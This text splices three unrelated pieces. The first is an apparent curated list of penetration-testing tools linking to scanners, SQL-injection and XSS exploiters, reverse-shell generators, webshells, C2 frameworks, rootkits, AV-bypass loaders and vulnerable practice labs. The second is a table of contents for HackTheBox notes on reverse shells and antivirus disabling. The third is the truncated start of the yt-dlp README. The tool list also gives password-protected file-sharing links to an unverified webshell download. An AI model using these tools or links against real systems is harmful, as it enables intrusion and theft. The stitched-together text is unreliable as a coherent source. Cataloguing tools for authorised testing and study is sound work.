Analysis #### Fuzzing #### Vulnerability Scanner * [Struts-Scan](https://github.com/Lucifer1993/struts-scan) - Struts2 vulnerability detection and utilization tools * [Nikto](https://github.com/sullo/nikto) - Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items * [W3af](https://github.com/andresriancho/w3af/) - Web application attack and audit framework, the open source web vulnerability scanner * [Openvas](http://www.openvas.org/) - The world's most advanced Open Source vulnerability scanner and manager * [Openvas Docker](https://github.com/mikesplain/openvas-docker) * [Archery](https://github.com/archerysec/archerysec) - Open Source Vulnerability Assessment and Management helps developers and pentesters to perform scans and manage vulnerabilities * [Taipan](https://github.com/enkomio/Taipan) - Web application vulnerability scanner * [Arachni](https://github.com/Arachni/arachni) - Web Application Security Scanner Framework * [Nuclei](https://github.com/projectdiscovery/nuclei) - Fast and customizable vulnerability scanner based on simple YAML based DSL. * [Xray](https://github.com/chaitin/xray) - A passive-vulnerability-scanner Tool. ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) * [SiteScan](https://github.com/kracer127/SiteScan) - AllinOne Website Information Gathering Tools for pentest. * [Banli](Github.com/Goqi/Banli) - High-risk asset identification and high-risk vulnerability scanner. ![](svg/Windows.svg) * [vscan](https://github.com/veo/vscan) - Open Source Vulnerability Scanner. ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) * [Wapiti](https://github.com/wapiti-scanner/wapiti) - Web vulnerability scanner written in Python3. * [Scaninfo](https://github.com/redtoolskobe/scaninfo) - fast scan for redtools ### Web Applications #### CMS & Framwork Identification * [AngelSword](https://github.com/Lucifer1993/AngelSword) - CMS vulnerability detection framework :lock: * [WhatWeb](https://github.com/urbanadventurer/WhatWeb) - Next generation web scanner ![](svg/linux.svg) * [Wappalyzer](https://github.com/AliasIO/Wappalyzer) - Cross-platform utility that uncovers the technologies used on websites ![](svg/chrome.svg) * [Whatruns](https://www.whatruns.com/) - A free browser extension that helps you identify technologies used on any website at the click of a button (Just for chrome)![](svg/chrome.svg) * [WhatCMS](https://github.com/HA71/WhatCMS) - CMS Detection and Exploit Kit based on Whatcms.org API * [CMSeeK](https://github.com/Tuhinshubhra/CMSeeK) - CMS Detection and Exploitation suite - Scan WordPress, Joomla, Drupal and over 180 other CMSs * [EHole](https://github.com/EdgeSecurityTeam/EHole) - CMS Detection for RedTeam ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) > Online Tools * [Yunsee](http://www.yunsee.cn/finger.html) - Online website for to find the CMS footprint * [Bugscaner](http://whatweb.bugscaner.com/look/) - A simple online fingerprint identification system that supports hundreds of cms source code recognition * [WhatCMS online](https://whatcms.org/) - CMS Detection and Exploit Kit website Whatcms.org * [TideFinger](http://finger.tidesec.com/) - Fingerprinter Tool from TideSec Team * [360finger-p](https://fp.shuziguanxing.com/) - Fingerprinter Tool from 360 Team #### Web Applications Proxies * [Burpsuite](https://portswigger.net/) - Burpsuite is a graphical tool for testing Web application security ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) * [ZAP](https://github.com/zaproxy/zaproxy) One of the world’s most popular free security tools ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) * [Mitmproxy](https://github.com/mitmproxy/mitmproxy) - An interactive TLS-capable intercepting HTTP proxy for penetration testers and software developers. ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) * [Broxy](https://github.com/rhaidiz/broxy) - An HTTP/HTTPS intercept proxy written in Go. ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) * [Hetty](https://github.com/dstotijn/hetty) - An HTTP toolkit for security research. ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) #### web browser extension * [Hack-Tools](https://github.com/LasCC/Hack-Tools) - The all-in-one Red Team extension for Web Pentester 🛠 #### Web Crawlers & Directory Brute Force * [Dirbrute](https://github.com/Xyntax/DirBrute) - Multi-thread WEB directory blasting tool (with dics inside) :lock: * [ffuf](https://github.com/ffuf/ffuf) - Fast web fuzzer written in Go. ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) * [Dirbuster](https://sourceforge.net/projects/dirbuster/) - DirBuster is a multi threaded java application designed to brute force directories and files names on web/application servers. ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) * [Dirsearch](https://github.com/maurosoria/dirsearch) - Web path scanner. ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) * [Gobuster](https://github.com/OJ/gobuster) Directory/File, DNS and VHost busting tool written in Go. ![](svg/Windows.svg)![](svg/linux.svg)![](svg/mac.svg) * [WebPathBrute](https://github.com/7kbstorm/7kbscan-WebPathBrute) - Web path Bruter. ![](svg/Windows.svg) * [wfuzz](https://github.com/xmendez/wfuzz) - Web application fuzzer ![](svg/Windows.svg)![](svg/linux.svg) * [Dirmap](https://github.com/H4ckForJob/dirmap) - An advanced web directory & file scanning tool that will be more powerful than DirBuster, Dirsearch, cansina, and Yu Jian. #### Docker Scanners * [Fuxi-Scanner](https://github.com/jeffzh3ng/Fuxi-Scanner) - open source network security vulnerability scanner, it comes with multiple functions. ![](svg/Docker.svg) * [Xunfeng](https://github.com/ysrc/xunfeng) - The patrol is a rapid emergency response and cruise scanning system for enterprise intranets. ![](svg/Docker.svg) * [WebMap](https://github.com/SabyasachiRana/WebMap) - Nmap Web Dashboard and Reporting. ![](svg/Docker.svg) ### Database Assessment * [Enumdb](https://github.com/m8sec/enumdb) - Relational database brute force and post exploitation tool for MySQL and MSSQL * [MDUT](https://github.com/SafeGroceryStore/MDUT) - Multiple Database Utilization Tools * [Sylas](https://github.com/Ryze-T/Sylas) - Multiple Database Exploitation Tools * [ODAT](https://github.com/quentinhardy/odat) - Oracle Database Attacking Tool * [MSDAT](https://github.com/quentinhardy/msdat) - Microsoft SQL Database Attacking Tool ### Password Attacks * [Hydra](https://github.com/vanhauser-thc/thc-hydra) - Hydra is a parallelized login cracker which supports numerous protocols to attack * [Medusa](http://foofus.net/goons/jmk/medusa/medusa.html) - Medusa is intended to be a speedy, massively parallel, modular, login brute-forcer * [Sparta](https://github.com/SECFORCE/sparta) - Network Infrastructure Penetration Testing Tool. ![](svg/linux.svg) * [Hashcat](https://github.com/hashcat/hashcat) - World's fastest and most advanced password recovery utility * [Patator](https://github.com/lanjelot/patator) - Patator is a multi-purpose brute-forcer, with a modular design and a flexible usage. * [HackBrowserDat](https://github.com/moonD4rk/HackBrowserData) - Decrypt passwords/cookies/history/bookmarks from the browser * [John](https://github.com/openwall/john) - John the Ripper jumbo - advanced offline password cracker, which supports hundreds of hash and cipher types, and runs on many operating systems, CPUs, GPUs, and even some FPGAs. ### Wireless Attacks #### Wireless Tools * [Fern Wifi cracker](https://github.com/savio-code/fern-wifi-cracker) - Fern-Wifi-Cracker is designed to be used in testing and discovering flaws in ones own network with the aim of fixing the flaws detected ### Reverse Engineering * [Ollydbg](http://www.ollydbg.de/) - OllyDbg is a 32-bit assembler level analysing debugger for Microsoft Windows ### Exploitation Tools #### Vulnerability Search * [SPLOITUS](https://sploitus.com) - Sploitus is а convenient central place for identifying the newest exploits and finding attacks that exploit known vulnerabilities * [SearchSploit](https://github.com/offensive-security/exploitdb) - The official Exploit Database repository * [Getsploit](https://github.com/vulnersCom/getsploit) - Command line utility for searching and downloading exploits * [Houndsploit](https://github.com/nicolas-carolo/houndsploit) - An advanced graphical search engine for Exploit-DB #### Cross-site Scripting(XSS) * [BeeF](https://github.com/beefproject/beef) - The Browser Exploitation Framework Project * [BlueLotus_XSSReceiver](https://github.com/firesunCN/BlueLotus_XSSReceiver) - XSS Receiver platform without SQL * [XSStrike](https://github.com/s0md3v/XSStrike) - Most advanced XSS scanner. * [xssor2](https://github.com/evilcos/xssor2) - XSS'OR - Hack with JavaScript. * [Xsser-Varbaek](https://github.com/Varbaek/xsser) - From XSS to RCE 2.75 - Black Hat Europe Arsenal 2017 + Extras * [Xsser-Epsylon](https://github.com/epsylon/xsser) - Cross Site "Scripter" (aka XSSer) is an automatic framework to detect, exploit and report XSS vulnerabilities in web-based applications. * [Xenotix](https://github.com/ajinabraham/OWASP-Xenotix-XSS-Exploit-Framework) - An advanced Cross Site Scripting (XSS) vulnerability detection and exploitation framework * [PwnXSS](https://github.com/pwn0sec/PwnXSS) - PwnXSS: Vulnerability (XSS) scanner exploit * [dalfox](https://github.com/hahwul/dalfox) - 🌙🦊 DalFox is an powerful open source XSS scanning tool and parameter analyzer, utility #### Sql Injection * [Sqlmap](https://github.com/sqlmapproject/sqlmap) - Automatic SQL injection and database takeover tool * [SSQLInjection](https://github.com/shack2/SuperSQLInjectionV1) - SSQLInjection is a SQL injection tool , support Access/MySQL/SQLServer/Oracle/PostgreSQL/DB2/SQLite/Informix Database. * [Jsql-injection](https://github.com/ron190/jsql-injection) jSQL Injection is a Java application for automatic SQL database injection. * [NoSQLMap](https://github.com/codingo/NoSQLMap) - Automated NoSQL database enumeration and web application exploitation tool. * [Sqlmate](https://github.com/s0md3v/sqlmate) - A friend of SQLmap which will do what you always expected from SQLmap * [SQLiScanner](https://github.com/0xbug/SQLiScanner) - Automatic SQL injection with Charles and sqlmap api * [sql-injection-payload-list](https://github.com/payloadbox/sql-injection-payload-list) - 🎯 SQL Injection Payload List * [Advanced-SQL-Injection-Cheatsheet](https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet) - A cheat sheet that contains advanced queries for SQL Injection of all types. #### Command Injection * [Commix](https://github.com/commixproject/commix) - Automated All-in-One OS command injection and exploitation tool #### File Include * [LFIsuite](https://github.com/D35m0nd142/LFISuite) - Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner * [Kadimus](https://github.com/P0cL4bs/Kadimus) - Kadimus is a tool to check sites to lfi vulnerability , and also exploit it * [Shellfire](https://github.com/unix-ninja/shellfire) - Exploitation shell for exploiting LFI, RFI, and command injection vulnerabilities * [LFIter2](https://github.com/3mrgnc3/LFIter2) - LFIter2 Local File Include (LFI) Tool - Auto File Extractor & Username Bruteforcer * [FDsploit](https://github.com/chrispetrou/FDsploit) - File Inclusion & Directory Traversal fuzzing, enumeration & exploitation tool. #### File Upload vulnerability * [Fuxploider](https://github.com/almandin/fuxploider) - File upload vulnerability scanner and exploitation tool #### XML External Entity Attack(XXE) * [XXEinjector](https://github.com/enjoiz/XXEinjector) - Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods * [Oxml_xxe](https://github.com/BuffaloWill/oxml_xxe) - A tool for embedding XXE/XML exploits into different filetypes #### Cross-site request forgery (CSRF) * [Deemon](https://github.com/tgianko/deemon/) - Deemon is a tool to detect CSRF in web application #### Deserialization exploit framework * [Ysomap](https://github.com/wh1t3p1g/ysomap) - A helpful Java Deserialization exploit framework. #### Exploit Framework * [POC-T](https://github.com/Xyntax/POC-T) - Pentest Over Concurrent Toolkit * [Pocsuite3](https://github.com/knownsec/pocsuite3) - pocsuite3 is an open-sourced remote vulnerability testing framework developed by the Knownsec 404 Team. * [Metasploit](https://github.com/rapid7/metasploit-framework) - The world’s most used penetration testing framework * [Venom](https://github.com/r00t-3xp10it/venom) - Shellcode generator/compiler/handler (metasploit) * [Empire](https://github.com/EmpireProject/Empire) - Empire is a PowerShell and Python post-exploitation agent * [Koadic](https://github.com/zerosum0x0/koadic) - Koadic C3 COM Command & Control - JScript RAT * [Viper](https://github.com/FunnyWolf/Viper) - metasploit-framework UI manager Tools * [MSFvenom-gui](https://github.com/ssooking/msfvenom-gui) - gui tool to create normal payload by msfvenom * [Afrog](https://github.com/zan8in/afrog) - A tool for finding vulnerabilities #### Machine Learning * [DeepExploit](https://github.com/13o-bbr-bbq/machine_learning_security/tree/master/DeepExploit) - Fully automatic penetration test tool using Machine Learning * [GyoiThon](https://github.com/gyoisamurai/GyoiThon) - GyoiThon is a growing penetration test tool using Machine Learning * [Generator](https://github.com/13o-bbr-bbq/machine_learning_security/tree/master/Generator) - Fully automatically generate numerous injection codes for web application assessment #### Automate * [AutoSploit](https://github.com/NullArray/AutoSploit) - Automated Mass Exploiter * [WinPwn](https://github.com/SecureThisShit/WinPwn) - Automation for internal Windows Penetrationtest / AD-Security ### Sniffing & Spoofng * [WireShark](https://github.com/wireshark/wireshark) - Wireshark is a network traffic analyzer, or "sniffer", for Unix and Unix-like operating systems. * [Cain & able](http://www.oxid.it/cain.html) - Cain & Abel is a password recovery tool for Microsoft Operating Systems. ### Maintaining Access #### Shell * [Goshell](https://github.com/eze-kiel/goshell) - Generate reverse shells in command line with Go ! * [Print-My-Shell](https://github.com/sameera-madushan/Print-My-Shell) - Python script wrote to automate the process of generating various reverse shells. * [Girsh](https://github.com/nodauf/Girsh) - Automatically spawn a reverse shell fully interactive for Linux or Windows victim * [Blueshell](https://github.com/whitehatnote/BlueShell) - Generate a reverse shells for RedTeam * [Clink](http://mridgers.github.io/clink/) - Powerful Bash-style command line editing for cmd.exe * [Natpass](https://github.com/jkstack/natpass) - A new RAT Tools, Support Web VNC and Webshell * [Platypus](https://github.com/WangYihang/Platypus) 🔨 A modern multiple reverse shell sessions manager written in go #### Web Shell * Chopper > Tips: The tool comes from the network, no backdoor verification, please choose it on yourself...... > Link: https://pan.baidu.com/s/1VnXkoQU-srSllG6JaY0nTA Password: v71d * [AntSword](https://github.com/AntSwordProject/antSword) : [Document](https://doc.u0u.us/zh-hans/index.html) - AntSword is a cross-platform website management toolkit * [CKnife](https://github.com/Chora10/Cknife) - The cross platform webshell tool in java > Tips: The tool comes from the network, no backdoor verification, please choose it on yourself...... > Link: https://pan.baidu.com/s/1QZrnWU7DUuJhiXl7u1kELw Password: hjrh * [Behinder](https://github.com/rebeyond/Behinder) - dynamic binary encryption webshell management client * [Godzilla](https://github.com/BeichenDream/Godzilla) - a Java tool to encrypt network traffic * [Skyscorpion](https://github.com/shack2/skyscorpion) - Modified version of Behinder. * [PyShell](https://github.com/JoelGMSec/PyShell) - Multiplatform Python WebShell. * [Weevely3](https://github.com/epinna/weevely3) - Weaponized web shell. * [Bantam](https://github.com/gellin/bantam) - A PHP backdoor management and generation tool/C2 featuring end to end encrypted payload streaming designed to bypass WAF, IDS, SIEM systems. * [Awsome-Webshells](https://github.com/abhinavprasad47/Awsome-Webshells) - Collection of reverse shells. #### Privilege Escalation Auxiliary * [windows-exploit-suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester) - This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target * [Windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) - windows-kernel-exploits * [linux-exploit-suggester-2](https://github.com/jondonas/linux-exploit-suggester-2) - Next-Generation Linux Kernel Exploit Suggester * [Linux-kernel-exploits](https://github.com/SecWiki/linux-kernel-exploits) - linux-kernel-exploits Linux * [BeRoot](https://github.com/AlessandroZ/BeRoot) - Privilege Escalation Project - Windows / Linux / Mac * [PE-Linux](https://github.com/WazeHell/PE-Linux) - Linux Privilege Escalation Tool By WazeHell * [Portia](https://github.com/SpiderLabs/portia) - Portia aims to automate a number of techniques commonly performed on internal network penetration tests after a low privileged account has been compromised. * [PEASS-ng](https://github.com/carlospolop/PEASS-ng) - PEASS - Privilege Escalation Awesome Scripts SUITE (with colors) * [GTFOBins](https://gtfobins.github.io/) - GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems. * [LOLBAS](https://lolbas-project.github.io/) - Living Off The Land Binaries, Scripts and Libraries. * [GTFOBLookup](https://github.com/nccgroup/GTFOBLookup) Offline command line lookup utility for GTFOBins、LOLBAS and WADComs. #### C2 * [DeimosC2](https://github.com/DeimosC2/DeimosC2) - DeimosC2 is a Golang command and control framework for post-exploitation. * [Sliver](https://github.com/BishopFox/sliver) - Implant framework * [PHPSploit](https://github.com/nil0x42/phpsploit) - Full-featured C2 framework which silently persists on webserver via evil PHP oneliner 😈 * [Shad0w](https://github.com/bats3c/shad0w) - A post exploitation framework designed to operate covertly on heavily monitored environments (Win8、Win10) * [Covenant](https://github.com/cobbr/Covenant) - Covenant is a collaborative .NET C2 framework for red teamers. * [Emp3r0r](https://github.com/jm33-m0/emp3r0r) - linux post-exploitation framework made by linux user * [C3](https://github.com/FSecureLABS/C3) - Custom Command and Control (C3). A framework for rapid prototyping of custom C2 channels, while still providing integration with existing offensive toolkits. * [byob](https://github.com/malwaredllc/byob) - An open-source post-exploitation framework for students, researchers and developers. #### Bypass AV * [Shellcodeloader](https://github.com/knownsec/shellcodeloader) - ShellcodeLoader of windows can bypass AV. ### Golang Sec Tools > Tips: Golang is a excellent cross platform language for security. * [Naabu](https://github.com/projectdiscovery/naabu) - A fast port scanner written in go with focus on reliability and simplicity. * [ServerScan](https://github.com/Adminisme/ServerScan) - A high concurrency network scanning and service detection tool developed by golang. ### Reporting & Collaboration * [Vulnreport](https://github.com/salesforce/vulnreport) - Open-source pentesting management and automation platform by Salesforce Product Security * [Pentest-Collaboration-Framework](https://gitlab.com/invuls/pentest-projects/pcf) - Opensource, cross-platform and portable toolkit for automating routine processes when carrying out various works for testing! * [CervantesSec](https://github.com/CervantesSec/cervantes) - Cervantes is an opensource collaborative platform for pentesters or red teams who want to save time to manage their projects, clients, vulnerabilities and reports in one place. ### Social Engineering Tools ### Code Audit * [Cloc](https://github.com/AlDanial/cloc) - cloc counts blank lines, comment lines, and physical lines of source code in many programming languages * [Cobra](https://github.com/WhaleShark-Team/cobra) - Source Code Security Audit * [Cobra-W](https://github.com/LoRexxar/Cobra-W) - Cobra for white hat * [Graudit](https://github.com/wireghoul/graudit) - Grep rough audit - source code auditing tool * [Rips](https://github.com/ripsscanner/rips) - A static source code analyser for vulnerabilities in PHP scripts * [Kunlun-M](https://github.com/LoRexxar/Kunlun-M) - KunLun-M is a static code analysis system that automates the detecting vulnerabilities and security issue. ### Port Forwarding & Proxies * [EarthWorm](https://github.com/rootkiter/EarthWorm) - Tool for tunnel * [Termite](https://github.com/rootkiter/Termite/) - Tool for tunnel (Version 2) * [Frp](https://github.com/fatedier/frp) - A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet * [Nps](https://github.com/ehang-io/nps/) - A lightweight, high-performance, powerful intranet penetration proxy server, with a powerful web management terminal. * [Goproxy](https://github.com/snail007/goproxy) - A high-performance, full-featured, cross platform proxy server * [ReGeorg](https://github.com/sensepost/reGeorg) - The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn * [Venom](https://github.com/Dliv3/Venom) - A Multi-hop Proxy for Penetration Testers * [Stowaway](https://github.com/ph4ntonn/Stowaway) - 👻 Stowaway -- Multi-hop Proxy Tool for pentesters * [rport](https://github.com/cloudradar-monitoring/rport) - Manage remote systems with ease. * [PortForward](https://github.com/knownsec/PortForward) - The port forwarding tool developed by Golang solves the problem that the internal and external networks cannot communicate in certain scenarios. ### DevSecOps ### RootKit * [Beurk](https://github.com/unix-thrust/beurk) - BEURK Experimental Unix RootKit * [Bedevil](https://github.com/naworkcaj/bdvl) - LD_PRELOAD Linux rootkit (x86 & ARM) ### Audit Tools * [DevAudit](https://github.com/OSSIndex/DevAudit) - Open-source, cross-platform, multi-purpose security auditing tool ### Pentesting Distribution * [Backbox Linux](https://linux.backbox.org) - penetration testing and security assessment oriented Linux distribution * [Kali Linux](https://www.kali.org) - Debian-based pentesting distribution * [BlackArch Linux](https://blackarch.org) - Arch Linux-based penetration testing distribution * [Parrot Security](https://parrotlinux.org) - The ultimate framework for your Cyber Security operations * [ArchStrike](https://archstrike.org) - Arch Linux respository for security professionals ### Cyber Range #### Vulnerability application * [DVWA](https://github.com/ethicalhack3r/DVWA) - Damn Vulnerable Web Application (DVWA) * [WebGoat](https://github.com/WebGoat/WebGoat) - WebGoat is a deliberately insecure web application maintained by OWASP designed to teach web application security lessons * [DSVW](https://github.com/stamparm/DSVW) - DSVW is a deliberately vulnerable web application written in under 100 lines of code, created for educational purposes * [DVWS](https://github.com/snoopysecurity/dvws) - Damn Vulnerable Web Services is an insecure web application with multiple vulnerable web service components that can be used to learn real world web service vulnerabilities * [XVWA](https://github.com/s4n7h0/xvwa) - XVWA is a badly coded web application written in PHP/MySQL that helps security enthusiasts to learn application security * [BWAPP](http://www.mmebvba.com/sites/bwapp/index.htm) - A buggy web application whit more than 100 vulnerabilities * [Sqli-lab](https://github.com/Audi-1/sqli-labs) - SQLI labs to test error based, Blind boolean based, Time based * [HackMe-SQL-Injection-Challenges](https://github.com/breakthenet/HackMe-SQL-Injection-Challenges) - Hack your friend's online MMORPG game - specific focus, sql injection opportunities * [XSS-labs](https://github.com/paralax/xss-labs) - Small set of scripts to practice exploit XSS and CSRF vulnerabilities * [SSRF-lab](https://github.com/m6a-UdS/ssrf-lab) - Lab for exploring SSRF vulnerabilities * [SSRF_Vulnerable_Lab](https://github.com/incredibleindishell/SSRF_Vulnerable_Lab) - This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack * [LFI-labs](https://github.com/paralax/lfi-labs) - Small set of PHP scripts to practice exploiting LFI, RFI and CMD injection vulns * [Commix-testbed](https://github.com/commixproject/commix-testbed) - A collection of web pages, vulnerable to command injection flaws * [File-Upload-Lab](https://github.com/LunaM00n/File-Upload-Lab) - Damn Vulnerable File Upload V 1.1 * [Upload-labs](https://github.com/c0ny1/upload-labs) - A summary of all types of uploading vulnerabilities for you * [XXE-Lab](https://github.com/c0ny1/xxe-lab) - A XXE vulnerability Demo containing language versions such as PHP, Java, python, C#, etc * [Vulnerable-Flask-App](https://github.com/anil-yelken/Vulnerable-Flask-App) - Erlik2 Vulnerable-Flask-App provided by [anil-yelken](https://github.com/anil-yelken). #### Simulation Range * [Fopnp](https://github.com/brandon-rhodes/fopnp/tree/m/playground) - A Network Playground for 《Foundations of Python Network Programming》 * [CyberRange](https://github.com/secdevops-cuse/CyberRange) - The Open-Source AWS Cyber Range #### CTF challenges * [Vulnhub](https://www.vulnhub.com/) - VulnHub provides materials allowing anyone to gain practical hands-on experience with digital security, computer applications and network administration * [TryHackMe](https://tryhackme.com/) - TryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs, all through your browser! * [Hackthebox](https://www.hackthebox.com/) - Hack The Box is a massive, online cybersecurity training platform, allowing individuals, companies, universities and all kinds of organizations around the world to level up their hacking skills. * [Root Me](https://www.root-me.org/) - Root Me allows everyone to test and improve their knowledge in computer security and hacking. * [Pentestit](https://lab.pentestit.ru/) - Penetration testing laboratories "Test lab" emulate an IT infrastructure of real companies and are created for a legal pen testing and improving penetration testing skills * [Pentesterlab](https://pentesterlab.com/) - Learn Web Penetration Testing: The Right Way * [Cyberseclabs](https://www.cyberseclabs.co.uk/) - At CyberSecLabs, we aim to provide secure, high-quality training services that allow information security students the opportunity to safely learn and practice penetration testing skills.
# TableOfContents | File | Contents | | ---- | -------- | | [Active Directory](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/Active%20Directory.md) | Bruteforce SMB, Winrm Bruteforce, AD User Enumeration, Mounting Disks, BloodHound, rpcclinet | | [Commands](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/Commands.md) | port enum, ports, web enum, Login Bruteforce, sqlinj, File transfer| | [Docker Commands](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/Docker%20Commands.md) | installation, building, pulling, updating, deleting, listing, cheatsheet, run with ports open | | [Git Commands](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/Git%20Commands.md) | clone, commit, push, pull, add, log, deleted file, checkout | | [Password Cracking](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/Password%20Cracking.md) | hashcat, john, hashexamples, zip file cracking | | [Pivoting](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/Pivoting.md) | POST Exploitation, Pivoting, Chisel | | [Post Exploitation](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/PostExploitationCommands.md) | current user, network infos, locate, Antivirus Disabling, registry, priviledges, running process, plink, stored credentials, wmic | | [Regular Commands](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/Regular%20Commands.md) | ls, Grep, AWK, Curl, wget, Compression and decompression of files, Find, xclip, Misc, bashLoops, sed, tr, tail, watch | | [Reverse Shells](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/Reverse%20Shell.md) | Bash TCP, Bash UDP, Netcat, Telnet, Socat, Perl, Python, PHP, Ruby, SSL, Powershell, AWK, TCLsh, Java, LUA, MSF Reverse Shells(war, exe, elf, macho, aspx, jsp, python, sh, perl), Xterm, Magicbytes, Exiftool, Simple PHP oneliners | | [Reversing](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/Reversing.md)| GDB, Radare |
<!-- MANPAGE: BEGIN EXCLUDED SECTION --> <div align="center"> [![YT-DLP](https://raw.githubusercontent.com/yt-dlp/yt-dlp/master/.github/banner.svg)](#readme) [![Release version](https://img.shields.io/github/v/release/yt-dlp/yt-dlp?color=brightgreen&label=Download&style=for-the-badge)](#installation "Installation") [![PyPi](https://img.shields.io/badge/-PyPi-blue.svg?logo=pypi&labelColor=555555&style=for-the-badge)](https://pypi.org/project/yt-dlp "PyPi") [![Donate](https://img.shields.io/badge/_-Donate-red.svg?logo=githubsponsors&labelColor=555555&style=for-the-badge)](Collaborators.md#collaborators "Donate") [![Matrix](https://img.shields.io/matrix/yt-dlp:matrix.org?color=brightgreen&labelColor=555555&label=&logo=element&style=for-the-badge)](https://matrix.to/#/#yt-dlp:matrix.org "Matrix") [![Discord](https://img.shields.io/discord/807245652072857610?color=blue&labelColor=555555&label=&logo=discord&style=for-the-badge)](https://discord.gg/H5MNcFW63r "Discord") [![Supported Sites](https://img.shields.io/badge/-Supported_Sites-brightgreen.svg?style=for-the-badge)](supportedsites.md "Supported Sites") [![License: Unlicense](https://img.shields.io/badge/-Unlicense-blue.svg?style=for-the-badge)](LICENSE "License") [![CI Status](https://img.shields.io/github/actions/workflow/status/yt-dlp/yt-dlp/core.yml?branch=master&label=Tests&style=for-the-badge)](https://github.com/yt-dlp/yt-dlp/actions "CI Status") [![Commits](https://img.shields.io/github/commit-activity/m/yt-dlp/yt-dlp?label=commits&style=for-the-badge)](https://github.com/yt-dlp/yt-dlp/commits "Commit History") [![Last Commit](https://img.shields.io/github/last-commit/yt-dlp/yt-dlp/master?label=&style=for-the-badge&display_timestamp=committer)](https://github.com/yt-dlp/yt-dlp/commits "Commit History") </div> <!-- MANPAGE: END EXCLUDED SECTION --> yt-dlp is a [youtube-dl](https://github.com/ytdl-org/youtube-dl) fork based on the now inactive [youtube-dlc](https://github.com/blackjack4494/yt-dlc). The main focus of this project is adding new features and patches while also keeping up to date with the original project <!-- MANPAGE: MOVE "USAGE AND OPTIONS" SECTION HERE --> <!-- MANPAGE: BEGIN EXCLUDED SECTION --> * [NEW FEATURES](#new-features) * [Differences in default behavior](#differences-in-default-behavior) * [INSTALLATION](#installation) * [Detailed instructions](https://github.com/yt-dlp/yt-dlp/wiki/Installation) * [Update](#update) * [Release Files](#release-files) * [Dependencies](#dependencies) * [Compile](#compile) * [USAGE AND OPTIONS](#usage-and-options) * [General Options](#general-options) * [Network Options](#network-options) * [Geo-restriction](#geo-restriction) * [Video Selection](#video-selection) * [Download Options](#download-options) * [Filesystem Options](#filesystem-options) * [Thumbnail Options](#thumbnail-options) * [Internet Shortcut Options](#internet-shortcut-options) * [Verbosity and Simulation Options](#verbosity-and-simulation-options) * [Workarounds](#workarounds) * [Video Format Options](#video-format-options) * [Subtitle Options](#subtitle-options) * [Authentication Options](#authentication-options) * [Post-processing Options](#post-processing-options) * [SponsorBlock Options](#sponsorblock-options) * [Extractor Options](#extractor-options) * [CONFIGURATION](#configuration) * [Configuration file encoding](#configuration-file-encoding) * [Authentication with netrc](#authentication-with-netrc) * [Notes about environment variables](#notes-about-environment-variables) * [OUTPUT TEMPLATE](#output-template) * [Output template examples](#output-template-examples) * [FORMAT SELECTION](#format-selection) * [Filtering Formats](#filtering-formats) * [Sorting Formats](#sorting-formats) * [Format Selection examples](#format-selection-examples) * [MODIFYING METADATA](#modifying-metadata) * [Modifying metadata examples](#modifying-metadata-examples) * [EXTRACTOR ARGUMENTS](#extractor-arguments) * [PLUGINS](#plugins) * [Installing Plugins](#installing-plugins) * [Developing Plugins](#developing-plugins) * [EMBEDDING YT-DLP](#embedding-yt-dlp) * [Embedding examples](#embedding-examples) * [DEPRECATED OPTIONS](#deprecated-options) * [CONTRIBUTING](CONTRIBUTING.md#contributing-to-yt-dlp) * [Opening an Issue](CONTRIBUTING.md#opening-an-issue) * [Developer Instructions](CONTRIBUTING.md#developer-instructions) * [WIKI](https://github.com/yt-dlp/yt-dlp/wiki) * [FAQ](https://github.com/yt-dlp/yt-dlp/wiki/FAQ) <!-- MANPAGE: END EXCLUDED SECTION --> # NEW FEATURES * Forked from [**yt-dlc@f9401f2**](https://github.com/blackjack4494/yt-dlc/commit/f9401f2a91987068139c5f757b12fc711d4c0cee) and merged with [**youtube-dl@42f2d4**](https://github.com/yt-dlp/yt-dlp/commit/42f2d4) ([exceptions](https://github.com/yt-dlp/yt-dlp/issues/21)) * **[SponsorBlock Integration](#sponsorblock-options)**: You can mark/remove sponsor sections in YouTube videos by utilizing the [SponsorBlock](https://sponsor.ajay.app) API * **[Format Sorting](#sorting-formats)**: The default format sorting options have been changed so that higher resolution and better codecs will be now preferred instead of simply using larger bitrate. Furthermore, you can now specify the sort order using `-S`. This allows for much easier format selection than what is possible by simply using `--format` ([examples](#format-selection-examples)) * **Merged with animelover1984/youtube-dl**: You get most of the features and improvements from [animelover1984/youtube-dl](https://github.com/animelover1984/youtube-dl) including `--write-comments`, `BiliBiliSearch`, `BilibiliChannel`, Embedding thumbnail in mp4/ogg/opus, playlist infojson etc. Note that NicoNico livestreams are not available. See [#31](https://github.com/yt-dlp/yt-dlp/pull/31) for details. * **YouTube improvements**: * Supports Clips, Stories 